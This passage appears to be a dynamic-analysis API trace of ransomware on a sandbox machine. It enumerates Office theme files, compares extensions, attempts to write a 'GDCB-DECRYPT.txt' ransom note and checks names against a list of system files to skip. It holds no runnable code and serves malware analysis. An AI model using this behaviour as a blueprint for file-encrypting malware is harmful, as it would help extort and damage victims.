lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0135.666] FindClose (in: hFindFile=0x2c7700 | out: hFindFile=0x2c7700) returned 1 [0135.667] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.667] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\GDCB-DECRYPT.txt") returned 119 [0135.667] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.669] GetLastError () returned 0x50 [0135.669] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.669] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned 102 [0135.669] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0135.669] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x2c7780 [0135.669] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0135.669] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.669] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0135.670] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0135.670] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0135.670] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.670] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.670] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.670] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0135.670] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.671] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0135.671] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0135.671] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0135.671] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.671] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0135.671] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0135.671] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0135.671] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.671] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0135.671] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0135.671] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0135.672] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.672] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0135.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0135.672] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0135.672] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.672] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0135.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0135.672] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0135.672] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.672] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0135.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0135.672] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0135.673] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.673] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0135.673] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0135.673] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0135.673] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.673] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0135.673] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0135.673] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0135.673] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.674] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0135.674] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0135.674] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.674] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0135.674] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.674] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0135.674] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0135.674] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.674] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0135.674] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.674] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0135.674] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0135.674] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.675] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0135.675] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.675] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0135.675] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0135.675] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.675] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0135.675] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.675] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0135.675] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0135.675] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.675] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0135.675] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.675] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0135.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0135.676] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0135.676] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0135.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0135.676] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0135.676] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0135.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0135.676] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0135.676] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0135.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0135.677] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.677] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document 